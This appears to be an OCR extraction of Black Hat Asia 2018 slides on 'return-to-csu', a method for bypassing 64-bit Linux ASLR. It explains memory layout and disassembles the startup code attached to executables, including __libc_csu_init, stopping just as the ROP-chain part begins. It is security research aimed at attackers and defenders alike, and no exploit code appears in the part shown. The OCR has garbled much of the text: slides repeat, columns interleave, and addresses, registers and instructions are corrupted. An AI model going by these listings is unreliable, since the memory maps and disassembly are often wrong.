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= ASLR s present in all modern systems
" [tisa barrier that attackers face in most attacks
= Assess its effectiveness in 64-bit systems is an endless task

= A generic method to bypass the ASLR in modern 64-bit
systems could be re-used in multiple attacks scenarios.

= Can we create a generic method to bypass the ASLR in
modern 64-bit systems?

This talk presents return-to-csu:
= Adirect method to bypass the ASLR in 64-bit systems

= Demo will bypass SSP, NX, RELRO, PIE, FORTIFY ...
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black hat Overview

ASIA 2018

1. Brief of the ASLR in Linux

2. The real battlefield: Source vs executable code, they don’t match!
3. Return-to-csu: A method to bypass the Linux ASLR in 64-bit systems
4

Making return-to-csu attack profitable
 Rooper-mod: Auto exploit generation to drop shells

5. Demo: remote shell in a full protected 64-bit executable
* Bypassing PIE, ASLR, NX, SSP, RELRO, etc.

6. Mitigations and conclusions
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What ASLR is? (naive vision)

* Wikipedia: A computer security technique for preventing exploitation
of memory corruption vulnerabilities.

* Stack, executable, libraries, heap, etc are randomized.

What is ASLR actually in Operating Systems?
* Itis aconceptimplementation with a lot of different flavours
* Linux, Windows, Mac OS X, Android have different ASLRs

* They have huge differences: random bits per area, randomization
forms such us per boot, per exec, etc.
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black hat 1. Brief of the Linux ASLR

ASIA SIS

HIGH

Kernel loader randomization:

o Stack: At some random place close to the top i
o Executable: if PIE then at random place close to the bottom else No-ASLR! | mmap_base __
« Heap: If randomize va space = 2 itwill be placed at random offset from I

the executable else joint to the executable. From outside both look random.

o Libraries: Linux choose a random virtual address (mmap base) between heap
and stack. Then Linux will load the 1d. so and jump to it.

heap

exec

LOW
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black hat 1. Brief of the Linux ASLR

ASIA SIS

HIGH
Kernel loader randomization: e
o Stack: At some random place close to the top i
o Executable: if PIE then at random place close to the bottom else No-ASLR! mmap base
Id.so
o« Heap:If randomize va space = 2itwill be placed at random offset from I /
the executable else joint to the executable. From outside both look random.
o Libraries: Linux choose a random virtual address (mmap base) between heap
and stack. Then Linux will load the 1d. so and jump to it.
heap
Then Linux will load the 1d.so and jump to it
LOW
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black hat 1. Brief of the Linux ASLR
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HIGH

Userland side randomization:

Let’s inspect the VM layout at the beginning of the userland execution i

(gdb) b dl start

56133fa7e000-56133fa7£f000 r-xp /home/BHAsia2018/test
56133fc7e000-56133£fc80000 rw-p /home/BHAsia2018/test
7£2ce47b2000-7£2ce47d9000 r-xp /lib/x86 64-linux-gnu/l1ld-2.26.so mmap_base
7£2ce49d9000-7£2ce49db000 rw-p /lib/x86 64-linux-gnu/ld-2.26.so ld.so
7£2ced49db000-7£2ce49dc000 rw-p
7£ffefad53000-7£f£fefad474000 rw-p [stack]
7£ffefadd2000-7£f£fefa4d5000 r--p [vvar]
T£fefadd5000-7£ffefa4dd7000 r-xp [vdso]

« Linux loads the executable and the dynamic loader/linker (14. so) heap

e The libc.so libraryis later loaded.

exec

LOW
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black hat 1. Brief of the Linux ASLR

ASIA SIS

HIGH

Userland side randomization:

Let’s inspect the VM layout at the beginning of the executable execution

(gdb) b _start

56133fa7e000-56133£fa7£f000 r-xp /home/BHAsia2018/test
56133fc7e000-56133£fc7£f000 r--p /home/BHAsia2018/test
56133fc7£000-56133£fc80000 rw-p /home/BHAsia2018/test
7£2ce43d2000-7£2ce45a8000 r-xp /lib/x86 64-linux-gnu/libc-2.26.so mmap base
7£2ce45a8000-7£2ce47a8000 ---p /1lib/x86 64-linux-gnu/libc-2.26.so0
7£2ce47a8000-7£f2ce47ac000 r--p /1lib/x86 64-linux-gnu/libc-2.26.so0
7£f2ce47ac000-7£f2ce47ae000 rw-p /lib/x86 64-linux-gnu/libc-2.26.so0
7£2ced47ae000-7£2ced47b2000 rw-p

7£2ce47b2000-7£2ce47d9000 r-xp /1lib/x86 64-linux-gnu/ld-2.26.so
7£2ced49b8000-7£2ced49ba000 rw-p

7£2ce49d9000-7£2ce49da000 r--p /1lib/x86 64-linux-gnu/1d-2.26.so
7£2ce49da000-7£2ce49db000 rw-p /1lib/x86 64-linux-gnu/ld-2.26.so
7£2ced49db000-7£2ce49dc000 rw-p

7££fefad53000-7£ffefad74000 rw-p [stack]

7ffefadd2000-7£ffefad4d5000 r--p [vvar] heap
7£ffefadd5000-7£ffefa4dd7000 r-xp [vdso]

Id.so
libc.so

o Libraries are loaded side by side there is no “more” randomization. exec
o There is not actual randomization form userland. -
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Parameter Linux 32 bit Linux 64 bit
(i386) (x86_64)
Very low High

ASLR Entropy (Linux) (8 bits = 256) (28 bits = 268,435,456)

ABI / call parameters Stack Registers
Attacks like ret2-X Yes No
Offset2lib Partial Partial
Brute force in practice Yes No?
Yes
Native PIC/PIE CPU support No :
/ PP ($rip)

* The ASLR in 64-bit systems is not only better but faster.
* |t is not only a matter of entropy, the x64 ABI introduces a challenge.
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black hat 1. Brief of the Linux ASLR
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HIGH

Why Offset2lib attacks are “partially” possible? X stack

 Offset2lib is a practical ASLR bypass for 64-bit systems i
 [|twas ageneric method valid for multiple attack scenarios

* Nolonger possible in modern Linux (fixed in 2015) N —

* Part of the attack method still valid to de-randomize the executable - %CII'ECS;’O
e Butexec-1libc offsetis not longer a constant value I

We need to find an alternative: T

X heap
 Asgeneric as possible to be reused in multiple attack scenarios
 Valid for 64-bit systems, deal with ABI, etc. / exec

LOW



https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

O

black hat 2. The real battlefield: The Attached code
AS|A =S

empty.c

int main (int argc, const char *argv[]) {
return O0;

}
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black hat 2. The real battlefield: The Attached code
AS| A =S

empty.c
int main(int argc, const char *argv[]) {
return O; -
}
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T" R
0000000000000520 t deregister_ tm clones 4
00000000000005b0 t _ do global dtors_aux
0000000000200df8 t _ do_global dtors_aux fini array entry
0000000000000684 T fini
0000000000000684 t .fini
0000000000200d£f8 t .fini array
00000000000005£0 t frame dummy
0000000000200df0 t __ frame dummy init array entry
00000000000004b8 T _init
00000000000004b8 t .init
0000000000200d£f0 t .init_array
0000000000200d£f8 t _ init array end
0000000000200df0 t _ init array start
0000000000000680 T _ libc csu fini
0000000000000610 T _ libc csu_init
00000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register tm clones
00000000000004£f0 T _start
00000000000004£f0 t .text
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black hat 2. The real battlefield: The Attached code
AS| A =S

empty.c

int main(int argc, const char *argv[]) {
return O0;

}

$ gcc empty.c -o empty

$ nm -a empty | grep " t\| T" R
0000000000000520 t deregister_ tm clones 4
00000000000005b0 t _ do global dtors_aux

0000000000200df8 t _ do_global dtors_aux fini array entry

0000000000000684 T _fini ; I
0000000000000684 t .fini Wait a moment 2 My C program
0000000000200d£8 t .fini_array on|y had main (), right?

00000000000005£0 t frame dummy

0000000000200df0 t __ frame dummy init array entry
00000000000004b8 T _init

00000000000004b8 t .init

0000000000200d£0 t .init array What are these other functions?
0000000000200df8 t _ init array end
0000000000200d£f0 t  init array start From Where? Who? When?

0000000000000680 T _ libc csu fini
0000000000000610 T libc csu init

[00000000000005fa T main ]

000000000000044d0 t .plt

00000000000004e0 t .plt.got IS this code is in the executable
0000000000000560 t register tm clon
00000000000004£0 T _:zaite —e area? Why?

00000000000004£0 t .text
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

empty: file format elf64-x86-64

Disassembly of section .init:

00000000000004b8 < _init>:

4b8: 48 83 ec 08 sub $0x8, %rsp

4bc: 48 8b 05 25 Ob 20 00 mov 0x200b25 (%rip) , 3rax # 200fe8 < _gmon_start >
4c3: 48 85 cO test $rax, %rax

4c6: 74 02 je 4ca <_init+0x12>

4c8: ff dO callg *%rax

4ca: 48 83 c4 08 add $0x8, %rsp

4ce: c3 retq

Disassembly of section .plt:

00000000000004d0 <.plt>:

4d0: ff 35 £2 0a 20 00 pushg 0x200af2 (%rip) # 200fc8 < GLOBAL OFFSET TABLE +0x8>
4d6: ff 25 £4 0a 20 00 Jjmpqgq *0x200af4 (%rip) # 200£fd0 < GLOBAL OFFSET TABLE +0x10>
4dc: Of 1f 40 00 nopl 0x0 (%$rax)

Disassembly of section .plt.got:

00000000000004e0 < cxa finalize@plt>:
4e0: ££f 25 12 0b 20 00 jmpg *0x200bl2 (%rip) # 200ff8 < cxa finalize@GLIBC_2.2.5>
4e6: 66 90 xchg %$ax, $ax
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

A Disassembly of section .text:
00000000000004£0 <_start>:

g 4f£0: 31 ed xor %ebp, $ebp
4£2: 49 89 dil mov $rdx, %$r9
d 4£f5: S5e Pop $rsi
4f6: 48 89 e2 mov %rsp, $rdx
4£9: 48 83 e4 £fO and SOxXEFFFFFFFFFFFFFFO, Srsp
4fd: 50 push $rax
4fe: 54 push $rsp
4ff: 4c 8d 05 7a 01 00 00 lea 0x17a(%rip) ,%r8 # 680 < libc_csu_ fini>
506: 48 8d 0d 03 01 00 00 lea 0x103 (%rip) ,$rcx # 610 <_ libc_csu init>
50d: 48 8d 3d e6 00 00 00 lea Oxe6 ($rip) , %rdi # 5fa <main>
514: ff 15 c6 0a 20 00 callg *0x200ac6 (%rip) # 200fe0 <_ libc start main@GLIBC 2.2.5>
5la: f4 hlt
D 51b: Of 1f 44 00 00 nopl 0x0 (%rax, $rax,1l)
0000000000000520 <deregister tm clones>:
520: 48 8d 3d e9 0a 20 00 lea 0x200ae9 (%rip) , %rdi # 201010 <__TMC END__ >
527: 55 push %rbp
528: 48 8d 05 el 0a 20 00 lea 0x200ael (%rip) , %rax # 201010 < TMC END >
52f: 48 39 f£8 cmp $rdi, %$rax
532: 48 89 e5 mov %rsp, $rbp
g 535: 74 19 je 550 <deregister tm clones+0x30>
537: 48 8b 05 %9a 0a 20 00 mov 0x200a9a (%rip) , $rax # 200£d8 <_ITM deregisterTMCloneTable>
d 53e: 48 85 cO0 test $rax,%rax
541: 74 0d je 550 <deregister tm clones+0x30>
543: 5d pop %rbp
544: ff e0 jmpg *$rax

546: 66 2e 0f 1f 84 00 00 nopw %cs:0x0 (%$rax,%rax, 1)
544: 00 00 00

550: 5d pPop %rbp
551: c3 retq
— 552: 0f 1f 40 00 nopl 0x0 (%$rax)

556: 66 2e 0f 1f 84 00 00 nopw %cs:0x0 (%$rax,%rax, 1)
55d: 00 00 00
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

A 3 " £ e
0
D 0000000000000560 <register tm clones>:
560: 48 8d 3d a9 0a 20 00 lea 0x200aa9 (%rip) ,%rdi # 201010 <_ TMC END__ >
g 567: 48 8d 35 a2 0a 20 00 lea 0x200aa2 (%rip) ,%rsi # 201010 <_ TMC END__ >
56e: 55 push %rbp
56f: 48 29 fe sub $rdi, %rsi
572: 48 89 e5 mov %rsp, $rbp
575: 48 cl fe 03 sar $0x3,%rsi
579: 48 89 f£fO0 mov %rsi, $rax
57c: 48 cl e8 3f shr $0x3f, $rax
580: 48 01 c6 add $rax,%rsi
583: 48 dl fe sar %rsi
586: 74 18 je 5a0 <register_ tm clones+0x40>
D 588: 48 8b 05 61 0a 20 00 mov 0x200a6l (%rip) , %$rax # 200££f0 < _ITM registerTMCloneTable>
g 58f: 48 85 c0 test %$rax, %$rax
g 592: 74 Oc je 5a0 <register_ tm clones+0x40>
594: 5d Pop $rbp
595: ff e0 jmpqg *$rax
597: 66 0Of 1f 84 00 00 00 nopw 0x0 (%rax, %rax,1)
59e: 00 00
e 5a0: 5d Pop %rbp
5al: c3 retqg
5a2: 0f 1f 40 00 nopl 0x0 (%$rax)
g 5a6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0 (%$rax,$rax,1)
5ad: 00 00 00
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

1 o e |
0 |
D 0
00000000000005b0 <_ do_global dtors_aux>:
5b0: 80 3d 59 0a 20 00 00 cmpb $0x0,0x200a59 (%rip) # 201010 <_ TMC END__ >
g 5b7: 75 2f jne 5e8 < do_global dtors_aux+0x38>
5b9: 48 83 3d 37 0a 20 00 cmpq $0x0,0x200a37 (%rip) # 200£ff8 < cxa finalizeQGLIBC_ 2.2.5>
5c0: 00
S5cl: 55 push $rbp
5c2: 48 89 e5 mov %rsp, $rbp
5c5: 74 Oc je 5d3 < do_global dtors_aux+0x23>
5c¢7: 48 8b 3d 3a 0a 20 00 mov 0x200a3a (%rip) ,%$rdi # 201008 <_ dso_handle>
Sce: e8 0d ff ff ff callg 4e0 <_cxa_finalize@plt>
5d3: e8 48 ff ff ff callg 520 <deregister tm clones>
5d8: c6 05 31 0a 20 00 01 movb $0x1,0x200a31 (%rip) # 201010 <_ TMC END__ >
0 5df: 5d pop $rbp
o 5e0: c3 retqg
q S5el: 0f 1f 80 00 00 00 0O nopl 0x0 (%$rax)
5e8: £3 3 repz retq
S5ea: 66 0f 1f 44 00 00 nopw 0x0 (%rax,%rax,1)
00000000000005£0 <frame dummy>:
5£0: 55 push $rbp
D 5f1: 48 89 e5 mov $rsp, $rbp
5f4: 5d Pop %rbp
S5£5; e9 66 ff ff ff impg 560 <register tm clones>
g 00000000000005fa <main>:
5fa: 55 push $rbp
5fb: 48 89 e5 mov $rsp, $rbp
5fe: 89 7d fc mov %edi, -0x4 (%rbp)
601: 48 89 75 f£O0 mov %$rsi,-0x10 ($rbp)
605: b8 00 00 00 00 mov $0x0, %eax
60a: 5d Pop $rbp
L 60b: c3 retq
60c: 0f 1f 40 00 nopl 0x0 (%$rax)
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

J o ,_ _ N |
0 L
s 9 0 0000000000000610 <_ libc_csu_init>:
610: 41 57 push %rl5
(0 612: 41 56 push %rl4d
614: 41 89 ff mov %$edi, $rl5d
617: 41 55 push %rl3
619: 41 54 push %rl2
61b: 4c 8d 25 ce 07 20 00 lea 0x2007ce (%rip) ,%rl2 # 200df0 < frame dummy init array entry>
622: 55 push $rbp
623: 48 8d 2d ce 07 20 00 lea 0x2007ce (%rip) , $rbp # 200df8 <_ init array end>
62a: 53 push $rbx
62b: 49 89 f6 mov %rsi,%rl4
62e: 49 89 d5 mov $rdx, $rl3
D 631: 4c 29 e5 sub %rl2,%rbp
634: 48 83 ec 08 sub $0x8,%rsp
q 9 638: 48 cl £d 03 sar $0x3, %rbp
63c: e8 77 fe ff ff callg 4b8 < init>
641: 48 85 ed test %rbp, $rbp
0 644: 74 20 je 666 < libc csu init+0x56>
646: 31 db xor %ebx, $ebx
648: 0Of 1f 84 00 00 00 0O nopl 0x0 (%rax, %rax,1)
» 64f: 00
el 650: 4c 89 ea mov $rl3, $rdx
[0 0 653: 4c 89 f6 mov %rld, Srsi
656: 44 89 ff mov %$rl5d, %edi
659: 41 f£f 14 dc callg *(%rl2,%rbx,8)
65d: 48 83 c3 01 add $0x1, %rbx
661: 48 39 dd cmp %rbx, $rbp
664: 75 ea jne 650 < libc csu_init+0x40>
666: 48 83 c4 08 add $0x8,%rsp
66a: 5b Pop $rbx
] 66b: 5d pop $rbp
| 66c: 41 5c¢ pop $rl2
L 66e: 41 5d Pop %rl3
| 670: 41 5e pop srld
672: 41 5f Pop %rl5
674: c3 retg
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black hat 2. The real battlefield: The Attached code
AS| A =S

$ objdump -d empty

A s £ = d = |
0 L
q |9 d |
0 0000000000000680 < libc_csu_fini>:
q 680: £f3 c3 repz retq
Disassembly of section .fini:
0000000000000684 <_fini>:
684: 48 83 ec 08 sub $0x8,%rsp
688: 48 83 c4 08 add $0x8,%rsp
68c: c3
|
0
q
0
|
g q
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Application source code Application compiled code

-
~ -~ empty: file format elf64-x86-64 00000000000005b0 <_do_global_dtors_aux>:
-~ 5b0: 80 3d 59 0a 20 00 00 $0%0,0x200a59 (3xip) # 201010 <_muc_END_ >
cat empty.c -~ o = ey o go
. ~ -~ Disassembly of section .init: 48 83 34 37 0a 20 00 Gmpq  $0%0,0%200a37 (3x1p) # 200££8 <_cxa_finalizetGLisc 2.2.5>
g
~ ~— 00000000000004b8 <_init>: push  irbp
= = L] * -~ 4bB: 48 83 ec 08 sub  $0x8,3rsp 3rsp, sxbp
in malin((in arqgc cons char ar =~ e 46 on 05 25 00 20 00 mov  GaOE(eip drax  # 200fe0 <_gmon stare > T A s
14 4637 doags €0 test  rax,srax 3a 0a 20 00 mov  Ox200a3a (srip) ,brdi # 201008 <_dso_handle>
4c6: 74 02 My e 4ca < init+0x12> £5 ££ callg 4e0 <_cxa_finalize@plt>
4cB: ££ dO ~ callg *srax £5 £5 callg 520 <deregister_tm clones>
r t rn o . 4ca: 48 83 4 08 = e 2 S0x8rep 0a 20 00 01 movb  $0x1,0x200a31 ($Tip) # 201010 <_THC END_ >
etu ; =3 = =5
— retq
Disassembly of section .plt: —~— -~ 00 00 00 00 nopl  0x0(irax)
00000000000004d0 <.plt>: ~ ~—y 44 00 00 nopw  0x0 (trax,brax,1)
££ 25 £4 0a 20 00 3mpq  *0x200afd (trip) # 200£d0 pr PABLE_+0x10> <Erame dimmy>:
- fEdc e .
— -~ trsp, trbp
o — - ££ ££ jmpg 560 <register_tm_clones>
o0 ff 25 12 0b 20 00 Jmpq  *0x200b12(%rip) # 200££8 <_cxa_finalize@GLIBC 2.2.5> s
4e6: 66 U™ gy kchg  sax,%ax e
o mov  %rsp,%rbp
_— 89 75 £0 mov  %rsi,-0x10 (trbp)
00000000000004£0 <_start>: _— — b8 00 00 00 00 mov  $0x0,%eax
s o omian - ] =
e = @mE - =
Se. pop  trsi b - 0f 1f 40 00 nopl __0x0 (#rax)
48 83 ed £0 and  SOXFEEEFEEEFELELELO, Srsp 0000000000000610 <__1ibe_esu_init>:
50 push  trax 610: 41 57 push  &r1S
54 push 41 56 push  &rle
4c 8d 05 7a 01 00 00 lea  Ox17a(brip),r8 # 680 <__libe_csu_fini> 41 89 £ mov  tedi,trlsd
££ 15 c6 0a 20 00 callq *0x200acé (trip) # 200fe0 <__libe_start main@GLIBC_: 4c 84 25 ce 07 20 00 lea  0x2007ce(%rip) ,%rl2 # 2004£0 <_ frame dummy_init_array_entry>
Of 1f 44 00 00 nopl  0x0(%rax,srax,1) 48 8d 2d ce 07 20 00 lea  0x2007ce(srip) ,xbp # 200a£8 <_init_array_end>
55 push  %rl 4c 29 e5 sub %rl2,%rbp
48 89 5 mov  %rsp,%rbp e8 77 fe £f £f callg 4b8 <_init>
74 0d Je 550 <deregister_tm_clones+0x30> 0f 1£ 84 00 00 00 00 nopl  0x0(%rax,%rax,1)
5d Pop. srbp 4f: 00
Jmpq  *%rax 650: 4c B9 ea mov. #r13, trdx
sd pop  rbp 659: 41 ££ 14 dc callq *(8r12,%rbx,8)
c3 retq 65d: 48 83 c3 01 ‘add $0x1,%rbx
66 2e Of 1f 84 00 00 nopw  %cs:0x0(%rax, trax,1) 664: 75 ea jne 650 <_libc_csu_init+0xd0>
00 00 00 666: 48 B3 cd 08 ‘add. $0x8, srsp
66a. pop  wrbx
575: 48 cl fe 03 sar $0x3,%rsi 675: 90 nop.
579: 48 89 £0 mov %rsi, rax 676: 66 2e Of 1f 84 00 00 nopw  %cs:0x0 (%rax, trax,1)
57c: 48 cl eB 3f shr $0x3f, trax 67d: 00 00 00
583: 48 dl fe sar srsi 0000000000000680 <__libc_csu_fini>:
s8f: 48 85 0 tast | Srax,brac Disassembly of section .fini:
594 pop  %rbp 0000000000000684 <_£ini>:
595 Jmpq 684 48 83 ec 08 sub $0x8, srsp
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Application source code

$ cat empty.c
int main(int argc, const char *argv([]) {
return O;

code

We have named it G E0E

Who is attaching it? N

What is it used for?

Why it is attached to the executable?
How protected is that attached code?
How profitable is this code?

Application compiled code

empty:  file format elf64-xB6-64

Disassembly of section .init:

00000000000004b8 <_init>:

08
48 8b 05 25 0b 20 00
8 85

78 02

££ a0

48 83 ca 08

3

Disassembly of section .plt:

00000000000004d0 <.pLt>:

Disassembly of section .plt.got:

00000000000004e0 <_cxa_finalize@plt>:
4e0: ££ 25 12 0b 20 00
4e6: 66 90

Disassembly of section .text:

00000000000004£0 <_start>:
31 ed

4c 8d 05 7a 01 00 00
48 8d 0d 03 01 00 00
48 8d 3d e6 00 00 00
££ 15 c6 0a 20 00

0f 1£ 44 00 00

0000000000000520 <deregister_tm_clones>:
d 3d e9 0a 2

48 8b 05 9a 0a 20 00
48 85 c0
74 0d

£
66 2e 0F 1f 84 00 00
00 00 00

3
0f 1¢ 40 00

556: 66 2e OF 1f 84 00 00
55d: 00 00 00

0000000000000560 <register_tm clones>:
d 3d a9 0a 20 00
567: 48 8d 35 a2 0a 20 00

00 00

0f 1¢ 40 00
66 2e OF 1f 84 00 00
00 00 00

test:

e
callg
add

pushq

fnopl

chg

$0x8, 59
0x200025 (szip) Srax
srax, s

4ca < initi0a12>
hrax

$0x8,5x5p

# 200fe8 <_gmon_start_>

0x200a£2 (37ip) # 200£c8 <_GLOBAL_OFFSET_TABLE_#Ox8>
*#0x200a£4 (3rip) # 200£0 <_GLOBAL OFFSET_TABLE_+0x10>
0x0 (3rax)

*0x200b12 (r1p) # 200££8 <_cxa_finalize@GLIEC 2.2.5>

sax, %

sebp, Sebp
Srax, 329

ey

sxsp,
Soxeggeseseeeeseso, trsp
drax

0x17a (srip) ,4x8 # 680 <_libc_csu_fini>

0x103 (sz1p) | brex # 610 < 11ba csn init>
Oxe6 (rip) , trdi # 5fa <main>
+03200ac6 (brip) 4 20000 <_1ibe_start maindGLIEC

0x0 (3rax, srax, 1)

0x200ae9 (srip) ,brdi
pe
0x200ael (srip)  brax

# 201010 <_muc_ENp_>
# 201010 <_mec_ENp_>

sesp, txbp
550 <deregister_tm_clonest0x30>

0x200a5a (sxip) rax 200248 <_TH deregisterTiCloneTable>
srax, srax

550 <deregister_tm_clones+0x30>

sxpp

Scs:0x0 (Srax, trax, 1)
sxbp

0x0 (¥xax)
Scs:0x0 (Srax, trax, 1)

0x200a2 (srip)  brdi
0x200aa2 (srip) , brsi

# 201010 <_muc_ewp_ >
# 201010 <_muc_Ewp_>

5a0 <register_tm clones+0xd0>
0x200a61 (srip) , brax # 200££0 <_ITM_registerTuCloneTable>
Srax, srax

5a0 <register_tm clones+0xd0>

srbp

*arax

0x0 (srax, Srax, 1)

sxbp

0x0 (%rax)
Scs:0x0 (Srax, trax, 1)

00000000000005b0 <_do_global_dtors_aux>:
5b0: 80 3d 59 0a 20 00 00

48 83 3d 37 0a 20 00
00

3a 0a 20 00
£
£

0a 20 00 01

00 00 00 00
44 00 00

<Exane_dunmy>:

4:
5£5: e9 66 ££ ££ ££
0000000000000610 <_1ibe_csu_init>:
610: a1 57

a1 54
4c 8d 25 ce 07 20 00

55
48 8d 2d ce 07 20 00

31 @b
0f 1¢ 84 00 00 00 00
00

650: 4c 89 ea
653: 4c 89 £6
656: 44 89 ££

659: 41 ££ 14 do
65d: 48 83 c3 01
661: 48 39 dd
664: 75 ea
666: 48 83 c4 08
66a:
66b: 5d
66c: 41 Sc
66e: 41 5a
670: 41 Se
672: a1 5¢
4 o3
675: 90
676: 66 2e 0f 1f 84 00 00
67d: 00 00 00

0000000000000680 <_ 1ibe_csu_fini>:
80: £3 c

Disassembly of section .fini:
0000000000000684 <_£ini>:
684: 48 83 ec 08

688: 48 83 c4 08
68c:

repz re

b
add
retq

$0x0,0x200a59 (sxip)
Sef

# 201010 <_mec_END_>

do_global_dtors_aux+0x38>

$0x0,0x200a37 (2xip)

sxbp
4xsp, zbp

5a3 <_do_global_dtors_auxt0x23>
1

0x200a3a (rip) ,rdi

4e0 <_cxa_finalizeeplt>
520 <deregister_tm_clones>
$0x1,0x200a31 (¥rip)

xbp

00 (3rax)

0x0 (¥rax, trax, 1)

bp.
#rsp, zbp

axbp
560 <register_tm_clones>

7

sr12
0x2007ce (srip) 412
0x2007ce (srip)  Szbp
srbx.

srsi,8x14
arax, ir13

4x12,4zbp

Sox8, xsp

$0x3,

b8 <_init>

sxbp, xbp

666 <_libc_csu_init+0xse>
sabs, &

0x0 (¥rax, trax,1)

154, tedi
*(2r12, $2bx,8)
$0x1, 3zbx
b,

650 <_libc_csu_init+0xa0>
$0x8, ¥rsp
.

Scs:0x0 (Srax, rax, 1)

tq

$0x8, 3zsp
$0x8, srsp

# 200££8 <_cxa_finalizeRGLIBC 2.2.5>

201008 <_dso_handle>

# 201010 <_mec_END_>

¥ 200a£0 <_frame_dummy_init_array_entry>

4 200a£8 <_init_array_end>
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blackhat 2. The real battlefield: Who Is attaching 1t? ;

ASIA SIS

The minimum static linked code in dynamic linked applications HIGH

FUNCTION FILE PATH i

main () | /home/blackHat2018/empty

deregister tm clones()

register tm clones() L f.“.”!@.QIEQQS.e. _
/usr/lib/gcc/x86 64-linux-gnu/7/crtbeginS.o o0
do global dtors aux() - libc.so

frame dummy ()

__libc csu fini()

_ . /usr/lib/x86 64-linux-gnu/libc nonshared.a
libc csu init() - -

_start() | /usr/1ib/x86 64-linux-gnu/Scrtl.o heap

_init()
/usr/1ib/x86 64-linux-gnu/crti.o exec

_fini ()

LOW
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blackhat 2. The real battlefield: Who Is attaching 1t? ;

ASIA SIS

The minimum static linked code in dynamic linked applications HIGH

FUNCTION FILE PATH i

main () | /home/blackHat2018/empty

deregister tm clones() \

register tm clones() \ L r.“.”!@.QIEQQS.e. _
/usr/lib/gcc/x86 64-linux-gnu/7/crtbeginS.o \ o0
do global dtors aux() - \ libc.so

frame dummy () \

libc csu fini() \
_ . /usr/1lib/x86 64-linux-gnu/libc nonshared.a \
libc csu init() - - \

_start() | /usr/1ib/x86 64-linux-gnu/Scrtl.o \ heap

_init() \
/usr/1ib/x86 64-linux-gnu/crti.o

exec
Attached Code

_fini ()

- -~ 14
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blackhat

ASIA SIS

Simplified exec () syscall flow. The Linux Kernel:
 Loads the executable and dynamic loader
* Jumpsto start() inthe dynamicloader (1d.so)

| Before main|()

libc _csu init()
->  attribute _ ((constructor))
-> ...

2. The real battlefield: What is it used for?

It allows to execute
code before main ()

App. code l

(int main (int argc, const char *argv][])

| After main () 1

libc _csu init()
-> run _exit handlers()

-> _att;ibute_ ( (destructor))
-> ...

It allows to execute
code after main ()
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b|£¢’;khat“ 2. The real battlefield: What iIs It used for?
AS| A =S

Example con/destructors

#include <stdio.h>
#include <stdlib.h>

void myfunctAtExit (void) ({
printf ("myfunctAtExit () \n");

} execution output
. . _ $ gcc consdest.c -o consdest
void  attribute  ((constructor)) beforeMain () { /consdest
, printilBefore matn0AnT B sefore main()
main ()
int main(int argc, const char *argv[]) { myfunctAFExlt()
atexit (myfunctAtExit) ; After main()

printf ("main () \n") ;
return O;

}

void  attribute  ((destructor)) afterMain() ({
printf ("After main () \n") ;

}




—
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blackhat 2. The real battlefield: Why it is attached tothe exec?
ASIA 20183

e e, . . . . . VM
These program-level initializers and finalizers need to access to application  uex —
pointers. Forexample 1libc csu init(): tack
*  frame dummy init array entry
*  1nlit array end i
Each application has their initializers/finalizers:
* Pointers to those functions are stored in the executable mmap base
* This is why part of this code is attached to the executable, to make calls “easy” T " Tdso T
libc.so
Example of non-compiled attached code to the executable

0000000000000610 <__ libc csu_init>:

610: 41 57 push %rl5

612: 41 56 push %rl4

614: 41 89 ff mov %$edi, $rl1l5d

617: 41 55 push %rl3

619: 41 54 push  %ril2 heap

61b: 4c 8d 25 ce 07 20 00 lea 0x2007ce (%rip) ,%rl2 # 200df0 < frame dummy init array entry>

622: 55 push %rbp

623: 48 8d 2d ce 07 20 00 lea 0x2007ce (%rip) , $rbp # 200df8 < init_array end> exec

62a: 53 push %rbx Attached Code

LOW




L.

black hat

ASIA SIS

How protected is that attached code?

— empty.c

int main(int argc, const char *argv[]) {
return O;

}

$ gcc empty.c -o empty -fstack-protector-all
$ objdump -d empty | grep -e "~ .*_ stack chk fail@plt>\|>:"

0000000000000510
0000000000000530
0000000000000540
0000000000000550
0000000000000560
0000000000000590
00000000000005d0
0000000000000620

< 1init>:

<.plt>:

< _stack chk fail@plt>:
< _cxa finalize@plt>:

< _start>:
<deregister tm clones>:
<register tm clones>:

< _do global dtors aux>:

0000000000000660 <frame dummy>:
000000000000066a <main>:

69c: e8 9f fe ff ff callg 540 < _stack chk fail@plt>
00000000000006b0 < libc csu init>:

0000000000000720
0000000000000724

< libc csu fini>:
< fini>:

2. The real battlefield: How protected it is?

PIE compiled: Good

* |t can be loaded at random addresses

No SSP protected: Bad

e SSPisonlyinmain ()
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black hat 2. The real battlefield: How profitable it is?

ASIA SIS

HIGH

How profitable is this code in an attack?

 The “attached code” is present in almost all apps

* Independently of the app source code we can expect this assembler code i
* We know the protections applied: No SSP protected

e Useful when attacking unknown targets

_Lmmap _base

T s
libc.so

If we can abuse of it we can create generic methods I

How can we abuse of this code in practice ? T

e return-to-csu: bypassing 64-bit Linux ASLR heap

exec

Attached Code

LOW




blg;’gkhat 3. Return-to-csu: 64-bit ASLR bypass

ASIA 2018

Approach to bypass the ASLR

1) “Attached code” rRoP-chain analysis with popular tools

2) Manual analysis of the “attached code” for fun and profit: Beyond automatic tools.
3) Universal urOP to control the execution flow: Controlling up to 3 arguments
4) Info leak with the pROP: Direct 1ibc de-randomization.

5) Building the final ful1-RrROP attack: Getting a shell.



blackhat 3. Return-to-csu: 64-bit ASLR bypass

ASIA 2018

1) “Attached code” RoP-chain analysis with popular tools

Attached Code only

empty:  file format elf6d-x86-64 0000000000050 <_do_global_dtors_aux>:
550 80 3 59 0220 50 00 50x0,0x200a59 (3xip) ¥ 201010 <_mic_Ew0_>
75 26 ne  Se8 <_do_global_dtors_aut0x38>
Dissssanbly of section .init: 48 83 3d 37 0a 20 00 cmpq  $0x0,0x200a37 (sx1p) # 20068 <_cxa_finalizelGLIBC 2.2.5>
00
00000000000004b8 < init>: e T
4be: . sb 8088 48 89 o5 mov  Srsp,Scbp
